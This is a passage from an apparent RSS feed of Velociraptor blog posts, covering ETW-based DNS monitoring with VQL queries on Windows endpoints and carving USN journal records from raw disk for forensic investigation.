      <description>&lt;h2 id=&#34;digging-into-windows-internals&#34;&gt;Digging into Windows Internals&lt;/h2&gt;&#xA;&lt;p&gt;One of the most important aspects of modern operating systems is&#xA;instrumentation of the running software on the system. Instrumentation&#xA;provides the visibility to understand what the system is doing at any&#xA;given moment. This is obviously important for system administrators&#xA;and software developers, but visibility into machine state is&#xA;increasingly being used for security monitoring and response.&lt;/p&gt;&#xA;&lt;p&gt;In Windows, system instrumentation is provided by the Event Tracing&#xA;For Windows (ETW), an extensive framework for instrumentation and&#xA;visibility.&lt;/p&gt;&#xA;&lt;p&gt;Much has been written about ETW so I will not cover the details here,&#xA;this blog post is the first of a series of posts that examine how we&#xA;can leverage ETW for security monitoring using Velociraptor&#xA;specifically.&lt;/p&gt;&#xA;&lt;h3 id=&#34;event-tracing-for-windows&#34;&gt;Event tracing for windows.&lt;/h3&gt;&#xA;&lt;p&gt;The Event Tracing for Windows framework is &lt;a href=&#34;https://docs.microsoft.com/en-us/windows-hardware/test/weg/instrumenting-your-code-with-etw&#34; target=&#34;_blank&#34; &gt;documented extensively by&#xA;Microsoft&lt;/a&gt;. In&#xA;a nutshell, the framework is designed to facilitate interaction&#xA;between event &lt;strong&gt;Consumers&lt;/strong&gt; and event &lt;strong&gt;Providers&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor provides the VQL event plugin &lt;code&gt;watch_etw()&lt;/code&gt; to register&#xA;Velociraptor as a &lt;strong&gt;Consumer&lt;/strong&gt;.  If you have not read about&#xA;Velociraptor&amp;rsquo;s event queries, check out the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/docs/vql/events/&#34;&gt;documentation&lt;/a&gt;. In&#xA;Velociraptor, event queries allow us to write real time monitoring&#xA;rules on the endpoint, then forward events to the server, enrich the&#xA;event with other information or respond to the event autonomously.&lt;/p&gt;&#xA;&lt;p&gt;In this blog post we will go through some examples to illustrate the&#xA;general technique but there are so many possibilities for advanced&#xA;detection rules.&lt;/p&gt;&#xA;&lt;h3 id=&#34;exploring-etw---monitoring-dns-lookups&#34;&gt;Exploring ETW - Monitoring DNS lookups&lt;/h3&gt;&#xA;&lt;p&gt;In this blog post, we will be building a Velociraptor query to monitor&#xA;for DNS lookups on the endpoint. We mentioned previously that ETW&#xA;connects providers and consumers, so our first task is simply to find&#xA;a provider that will provider relevant data.&lt;/p&gt;&#xA;&lt;p&gt;In this post we explore how you might develop new ETW based queries by&#xA;discovering new providers and experimenting with novel detection&#xA;rules.&lt;/p&gt;&#xA;&lt;p&gt;ETW is designed to be self documented via &lt;code&gt;manifest&lt;/code&gt; files, so each&#xA;provider in the system can describe what it will provide to some&#xA;extent. You can see all the providers on your system using the &lt;code&gt;logman query providers&lt;/code&gt; command. We can immediately see some providers&#xA;identified by the globally unique identifier (GUID).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-08-18-velociraptor-and-etw//blog/2021/2021-08-18-velociraptor-and-etw/query_providers.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Querying providers on the command line&#34;&#xA;         width=&#34;852&#34; height=&#34;407&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;query_providers.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Querying providers on the command line&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Although it is possible to query for providers on the command line,&#xA;using APIs it is possible to dump the entire manifest containing much&#xA;more information about each provider.&lt;/p&gt;&#xA;&lt;p&gt;There are some public efforts to better document ETW providers, for&#xA;example &lt;a href=&#34;https://github.com/repnz/etw-providers-docs&#34; target=&#34;_blank&#34; &gt;https://github.com/repnz/etw-providers-docs&lt;/a&gt; contains a dump of&#xA;various manifest files. I like to search that repository to find&#xA;likely useful providers. In this case I will look for a provider that&#xA;might give DNS information. The &lt;code&gt;Microsoft-Windows-DNS-Client&lt;/code&gt;&#xA;provider looks like a likely candidate.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-08-18-velociraptor-and-etw//blog/2021/2021-08-18-velociraptor-and-etw/image118.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;ETW Providers documentation&#34;&#xA;         width=&#34;2048&#34; height=&#34;856&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image118.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    ETW Providers documentation&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s get Velociraptor to watch the provider&amp;rsquo;s GUID for any&#xA;events. VQL provides the &lt;code&gt;watch_etw()&lt;/code&gt; plugin to attach Velociraptor&#xA;to the provider.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT *&#xA;FROM watch_etw(guid=&amp;quot;{1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-08-18-velociraptor-and-etw//blog/2021/2021-08-18-velociraptor-and-etw/watching_dns_provider.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Watching the Windows DNS Client provider&#34;&#xA;         width=&#34;1182&#34; height=&#34;608&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;watching_dns_provider.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Watching the Windows DNS Client provider&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After some trial and error we find the event ID we are interested in&#xA;as being ID 3020. We can consult with the manifest file to get more&#xA;information, such as the event data provided. Limiting the VQL query&#xA;to filter for event 3020 and extracting the most relevant columns&#xA;gives a nice DNS monitoring query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT System.TimeStamp AS Timestamp,&#xA;       EventData.QueryName AS Query,&#xA;       EventData.QueryType AS Type,&#xA;       EventData.QueryResults AS Answer&#xA;FROM watch_etw(guid=&amp;quot;{1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}&amp;quot;)&#xA;WHERE System.ID = 3020&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;deploying-the-query-on-endpoints&#34;&gt;Deploying the query on endpoints&lt;/h2&gt;&#xA;&lt;p&gt;Our VQL query is able to monitor the endpoint for DNS lookups but we&#xA;need a way to deploy the query to the endpoint. In Velociraptor,&#xA;client side event queries are encapsulated in &lt;code&gt;Client Event&lt;/code&gt; artifacts&#xA;(Simple YAML files that include the VQL query, as well as human&#xA;readable descriptions and parameters allowing for simple&#xA;customization).&lt;/p&gt;&#xA;&lt;p&gt;Simply select &amp;ldquo;Add new artifact&amp;rdquo; in the &lt;code&gt;View Artifacts&lt;/code&gt; screen. By&#xA;default Velociraptor presents a template for an artifact definition -&#xA;ready for us to fill in the right information. Simply copy the VQL&#xA;query into the new artifact under the &lt;code&gt;Sources.Query&lt;/code&gt; section&#xA;(remember to indent the query to fit within the YAML format). Since&#xA;this artifact will be an event artifact running on the client, we must&#xA;specify its type as &lt;code&gt;CLIENT_EVENT&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-08-18-velociraptor-and-etw//blog/2021/2021-08-18-velociraptor-and-etw/event_artifact.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Adding a custom event artifact&#34;&#xA;         width=&#34;1206&#34; height=&#34;710&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;event_artifact.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Adding a custom event artifact&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; The different types of artifacts &#34;&gt;&lt;p&gt;What is the difference between a &lt;code&gt;CLIENT&lt;/code&gt; and a &lt;code&gt;CLIENT_EVENT&lt;/code&gt; artifact?&lt;/p&gt;&#xA;&lt;p&gt;A &lt;code&gt;CLIENT&lt;/code&gt; artifact is collected from the client, by sending a query,&#xA;having the client execute the query, returning a result set&#xA;(i.e. rows) back to the server. Therefore the &lt;code&gt;CLIENT&lt;/code&gt; artifact&#xA;normally has a limited lifetime (by default 10 minutes) over which to&#xA;complete its work and return a result.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;CLIENT_EVENT&lt;/code&gt; artifacts are designed to run continuously on the&#xA;client, streaming rows to the server when events occur. Therefore&#xA;these are treated differently by the client: The client simply records&#xA;the event queries it is to run in a &lt;code&gt;Client Event Table&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The client starts running all the event queries when it first&#xA;starts. If the client table changes on the server (perhaps because the&#xA;user added a new event artifact to the client), the client will resync&#xA;its event table and restart all its queries.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Once Velociraptor contains the new artifact it is time to deploy the&#xA;artifact to endpoints. Velociraptor can target different event&#xA;artifacts to different clients by means of &lt;code&gt;Label Groups&lt;/code&gt;. By simply&#xA;assigning a label to a client, we can control the event artifacts&#xA;running on the client. For example, some of our endpoints are more&#xA;sensitive so we might want to only deploy certain monitoring queries&#xA;on those clients only by labeling them as &amp;ldquo;Sensitive&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;For our example, we will deploy the query on &lt;code&gt;All&lt;/code&gt; clients.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-08-18-velociraptor-and-etw//blog/2021/2021-08-18-velociraptor-and-etw/adding_event_artifacts.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Targeting event monitoring to label groups&#34;&#xA;         width=&#34;1131&#34; height=&#34;898&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;adding_event_artifacts.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Targeting event monitoring to label groups&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Once the query is deployed we can begin seeing any DNS events&#xA;generated on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-08-18-velociraptor-and-etw//blog/2021/2021-08-18-velociraptor-and-etw/monitoring_dns.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Monitoring DNS requests&#34;&#xA;         width=&#34;1602&#34; height=&#34;694&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;monitoring_dns.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Monitoring DNS requests&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;Hopefully you were inspired by this post to search for your own&#xA;detection queries. ETW is a rich source of endpoint state telemetry!&#xA;There are many other providers to explore and many possibilities of&#xA;combining ETW with other information sources.&lt;/p&gt;&#xA;&lt;p&gt;While many users are familiar with Velociraptor&amp;rsquo;s ability to collect&#xA;endpoint state and hunt for indicators at scale, the event monitoring&#xA;capability is a different approach making certain types of detections&#xA;much more convenient and effective.&lt;/p&gt;&#xA;&lt;p&gt;For example, many users ask &amp;ldquo;how do I schedule a hunt to run&#xA;periodically?&amp;rdquo; While there are some cases when this is a good solution,&#xA;in most cases users are trying to find out what has changed in the&#xA;endpoint&amp;rsquo;s state between two times.&lt;/p&gt;&#xA;&lt;p&gt;An event monitoring artifact can inform of state changes on the&#xA;endpoint and perform the preliminary triage and analysis of these&#xA;events automatically.&lt;/p&gt;&#xA;&lt;p&gt;In the next part of this article series we will be examining more&#xA;examples of utilizing ETW for enhancing end point visibility and&#xA;facilitating advanced response. We will also be discussing limitations&#xA;with this technique.&lt;/p&gt;&#xA;&lt;p&gt;If you have a great idea for a new detection query, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor&#xA;for a spin&lt;/a&gt;! It is a&#xA;available on GitHub under an open source license. As always please&#xA;file issues on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;There is still time to submit it to this year&amp;rsquo;s &lt;a href=&#34;https://www.velociraptor-docs.org/announcements/2021-artifact-contest/&#34;&gt;2021 Velociraptor&#xA;Contributor&#xA;Competition&lt;/a&gt;,&#xA;where you can win prizes, honor and support the entire DFIR&#xA;community. Alternatively, you can share your artifacts with the community on&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/exchange/&#34;&gt;Velociraptor&amp;rsquo;s Artifact&#xA;Exchange&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Carving $USN journal entries</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-06-16-carving-usn-journal-entries-72d5c66971da/</link>
      <pubDate>Wed, 16 Jun 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-06-16-carving-usn-journal-entries-72d5c66971da/</guid>
      <description>&lt;h2 id=&#34;digging-even-deeper&#34;&gt;Digging even deeper!&lt;/h2&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-16-carving-usn-journal-entries-72d5c66971da/../../img/01gTI29RZ6a6Lxaye.jpg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;One of the most important tasks in DFIR is reconstructing past filesystem activity. This is useful for example, in determining when files were introduced into the system (e.g. in a phishing campaign or drive by downloads) or when binaries were executed by way of modifications of prefetch files.&lt;/p&gt;&#xA;&lt;p&gt;I have previously written about the &lt;a href=&#34;https://velociraptor.velocidex.com/the-windows-usn-journal-f0c55c9010e&#34; target=&#34;_blank&#34; &gt;Windows Update Sequence Number journal (USN)&lt;/a&gt;. The USN journal is a file internal to the NTFS filesystem that maintains a log of interactions with the filesystem.&lt;/p&gt;&#xA;&lt;p&gt;The USN journal is a unique source of evidence because it can provide a timeline for when files were deleted, even if the file itself is no longer found on the system. In the screenshot below I parse the USN journal using Velociraptor’s built in USN parser. I filter for all interactions with the &lt;strong&gt;test.txt&lt;/strong&gt; file and find that it has been removed (The &lt;strong&gt;FILE_DELETE&lt;/strong&gt; reason).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-16-carving-usn-journal-entries-72d5c66971da/../../img/1tcte8Ol0lLCO7KtpJ1Kbuw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;While the USN journal is very useful, it is short lived. The system keeps around 30mb worth of USN log, and older entries are removed by making the start of the file sparse. On a busy system this might result in less than a day’s worth of logs!&lt;/p&gt;&#xA;&lt;h3 id=&#34;carving-the-usn-journal&#34;&gt;Carving the USN journal&lt;/h3&gt;&#xA;&lt;p&gt;Carving is a very popular forensic technique that aims to uncover old items that might still be present in unstructured or unallocated data on the drive. One would resort to carving in order to uncover new leads.&lt;/p&gt;&#xA;&lt;p&gt;Carving attempts to recover structured information from unstructured data by identifying data that follows a pattern typical for the information of interest.&lt;/p&gt;&#xA;&lt;p&gt;In the case of the USN journal, we can examine the raw disk and extract data that looks like a USN journal record, without regard to parsing the record from the NTFS filesystem or using any structure on the disk.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34;warning&#34;&gt;&lt;p&gt;Disclaimer: Depending on the underlying hardware carving may or may&#xA;not be effective. For example, when running on an SSD, the hardware&#xA;will aggressively reclaim unallocated space, making it less&#xA;effective. We typically use carving techniques as a last resort or to&#xA;try to gather new clues so its worth a shot anyway.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;the-structure-of-a-usn-journal-record&#34;&gt;The structure of a USN journal record&lt;/h3&gt;&#xA;&lt;p&gt;In order to carve the USN record from the disk, we need to understand what a USN record looks like. Our goal is to come up with a set of rules that identify a legitimate USN journal record with high probability.&lt;/p&gt;&#xA;&lt;p&gt;Luckily the USN journal struct is well documented by Microsoft&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-16-carving-usn-journal-entries-72d5c66971da/../../img/1byPQQuD1tjF5pwHXhexdtg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above we can see that a USN record contains a number of fields,&#xA;and we can determine their offsets relative to the record. Let’s look&#xA;at what a typical USN record looks like. I will use Velociraptor to&#xA;fetch the USN journal from the endpoint and select the hex viewer to&#xA;see some of the data.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-16-carving-usn-journal-entries-72d5c66971da/../../img/1onswBmgD7ZPdxnVV8RxDuA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the screen shot above I can identify a number of fields which seem&#xA;pretty reliable — I can develop a set of rules to determine if this is&#xA;a legitimate structure or just random noise.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The RecordLength field starts at offset 0 and occupies 4 bytes. A&#xA;real USN journal must have a length between 60 bytes (the minimum&#xA;size of the struct) and 512 bytes (most file names are not that&#xA;large).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The MajorVersion and MinorVersion is always going to be the same —&#xA;for Windows 10 this is currently 2 and 0. These 4 bytes have to be&#xA;02 00 00 00&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The next interesting field is the timestamp. This is a Windows&#xA;FileTime format timestamp (so 64 bits). Timestamps make for a good&#xA;rule because they typically need to be valid over a narrow range to&#xA;make sense.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The filename is also stored in the record with the length and the&#xA;offset both specified. For a reasonable file the length should be&#xA;less than say 255 bytes. Since the filename itself follows the end&#xA;of the struct, the filename offset should be exactly 60 bytes (0x36&#xA;— the size of the struct).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Let’s take a look at the timestamp above. I will use &lt;a href=&#34;https://gchq.github.io/CyberChef/#recipe=Windows_Filetime_to_UNIX_Timestamp%28%27Seconds%20%28s%29%27,%27Hex%20%28little%20endian%29%27%29From_UNIX_Timestamp%28%27Seconds%20%28s%29%27%29&amp;amp;input=MDRlY2VkZWE1ODYyZDcwMQ&#34; target=&#34;_blank&#34; &gt;CyberChef &lt;/a&gt; to convert the hex to a readable timestamp.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-16-carving-usn-journal-entries-72d5c66971da/../../img/1iCD7doMdvFls77vZdOdjKw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;What is the lowest time that is reasonable? The last byte (most&#xA;significant byte) should probably be 01, the next byte in should be&#xA;larger than &lt;code&gt;0xd0&lt;/code&gt;. I can quickly check the earliest time that ends with&#xA;&lt;code&gt;0xd0&lt;/code&gt; &lt;code&gt;0x01&lt;/code&gt; using &lt;code&gt;CyberChef&lt;/code&gt; — it is after 2015 so this is probably good&#xA;enough for any investigations run in 2021. Similar logic shows we are&#xA;good until 2028 with the pattern “d? 01”&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-16-carving-usn-journal-entries-72d5c66971da/../../img/1o16pA_mO0r5KNGsL4aMdug.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;developing-the-vql-query-for-the-carver&#34;&gt;Developing the VQL query for the carver&lt;/h3&gt;&#xA;&lt;p&gt;A good carver is fast and accurate. Since we need to scan a huge amount of data in a reasonable time (most hard disks are larger than 100Gb), we need to quickly eliminate obviously invalid data.&lt;/p&gt;&#xA;&lt;p&gt;The usual approach is to use a fast but rough matcher for a first level sieve — this will eliminate most of the obviously wrong data but might have a high false positive rate (i.e. might match invalid data that is not really a USN record at all).&lt;/p&gt;&#xA;&lt;p&gt;We can then apply a more thorough check on the match using a more accurate parser to eliminate these false positives. If the false positive rate remains reasonably low, we wont waste too many CPU cycles eliminating them and will maintain a high carving velocity while still having high accuracy.&lt;/p&gt;&#xA;&lt;p&gt;When I need a binary pattern matching engine, I immediately think of Yara — the Swiss army knife of binary searching! Let’s come up with a good Yara rule to identify USN journal entries. You can read more about Yara rule syntax &lt;a href=&#34;https://yara.readthedocs.io/en/stable/&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt;, but I will use a binary match rule to detect the byte pattern I am after.&lt;/p&gt;&#xA;&lt;p&gt;As usual in Velociraptor, I will create a notebook and type a query into the cell. As a first step I will stop after one hit (LIMIT 1) and view some context around the hit. Accessing the raw disk using its device notation (&lt;strong&gt;\\.\C:&lt;/strong&gt;) and the NTFS driver provides access to the raw logical disk from Velociraptor versions after 0.6.0.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-16-carving-usn-journal-entries-72d5c66971da/../../img/1KgW2M_VDzWABx2xP_9iMVA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The rule will match a &lt;strong&gt;RecordLength&lt;/strong&gt; smaller than 512 bytes,&#xA;&lt;strong&gt;Version&lt;/strong&gt; must match 2. The timestamp field must end in D? 01&#xA;(i.e. &lt;code&gt;0xD0–0xDF&lt;/code&gt; followed by &lt;code&gt;0x01&lt;/code&gt;). Finally the filename length&#xA;must be smaller than 256 and the file offset must be exactly 60&#xA;(0x36).&lt;/p&gt;&#xA;&lt;p&gt;As you can see above I immediately identify a hit and it looks pretty similar to one of the USN entries I extracted before.&lt;/p&gt;&#xA;&lt;h3 id=&#34;parsing-the-usn-record&#34;&gt;Parsing the USN record&lt;/h3&gt;&#xA;&lt;p&gt;The Yara signature will retrieve reasonable candidates for our carver. Now we need to parse the record properly. In order to do that I will use Velociraptor’s binary parser. First I will write a profile to describe the USN struct and apply the parser to extract the MFT entry ID from the record. I can then use Velociraptor’s built in NTFS parser to resolve the MFT entry ID to a full path on disk.&lt;/p&gt;&#xA;&lt;p&gt;You can see the full details of the artifact &lt;a href=&#34;https://github.com/Velocidex/velociraptor/blob/master/artifacts/definitions/Windows/Carving/USN.yaml&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt; but collecting this artifact from the endpoint is easy — simply create a new collection and select the Windows.Carving.USN artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-06-16-carving-usn-journal-entries-72d5c66971da/../../img/1hw6F2M-_1EHgaRAjY2-S7A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Since carving usually takes a long time, it is likely to exceed the default 10 minute collection timeout. 